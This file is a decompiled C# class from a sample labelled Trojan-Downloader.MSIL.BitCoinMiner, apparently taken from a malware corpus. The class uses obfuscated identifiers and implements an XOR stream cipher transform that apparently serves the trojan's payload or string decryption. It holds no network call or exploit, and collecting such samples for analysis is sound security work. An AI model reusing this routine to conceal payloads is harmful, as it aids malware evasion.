// Decompiled with JetBrains decompiler
// Type: .
// Assembly: WindowsBC, Version=1.0.0.0, Culture=neutral, PublicKeyToken=9909ee17073e3364
// MVID: 658BFC85-36E1-493D-98E6-AE9127D73D60
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan-Downloader.MSIL.BitCoinMiner.c-64f742a0b28b2c3d2a62ef6607fcfd5fa55b793a1aff3a6c11e014e3b119149e.exe

using \u0001\u0002;
using System;
using System.Runtime.CompilerServices;
using System.Runtime.InteropServices;
using System.Security.Cryptography;

namespace \u0001\u0002
{
  internal sealed class \u0004\u0002 : \u0002\u0002, IDisposable, ICryptoTransform
  {
    internal \u0004\u0002([In] byte[] obj0) => this.\u0098\u0003(obj0);

    public byte[] TransformFinalBlock([In] byte[] obj0, [In] int obj1, [In] int obj2)
    {
      byte[] numArray = new byte[obj2];
      this.TransformBlock(obj0, obj1, obj2, numArray, 0);
      return numArray;
    }

    public int TransformBlock([In] byte[] obj0, [In] int obj1, [In] int obj2, [In] byte[] obj3, [In] int obj4)
    {
      for (int index = obj1; index < obj1 + obj2; ++index)
      {
        byte num = (byte) ((uint) obj0[index] ^ (uint) this.\u0097\u0003());
        obj3[obj4++] = num;
        this.\u0099\u0003(num);
      }
      return obj2;
    }

    [SpecialName]
    public bool get_CanReuseTransform() => true;

    [SpecialName]
    public int get_InputBlockSize() => 1;

    [SpecialName]
    public int get_OutputBlockSize() => 1;

    [SpecialName]
    public bool get_CanTransformMultipleBlocks() => true;

    public void Dispose() => this.Reset();
  }
}
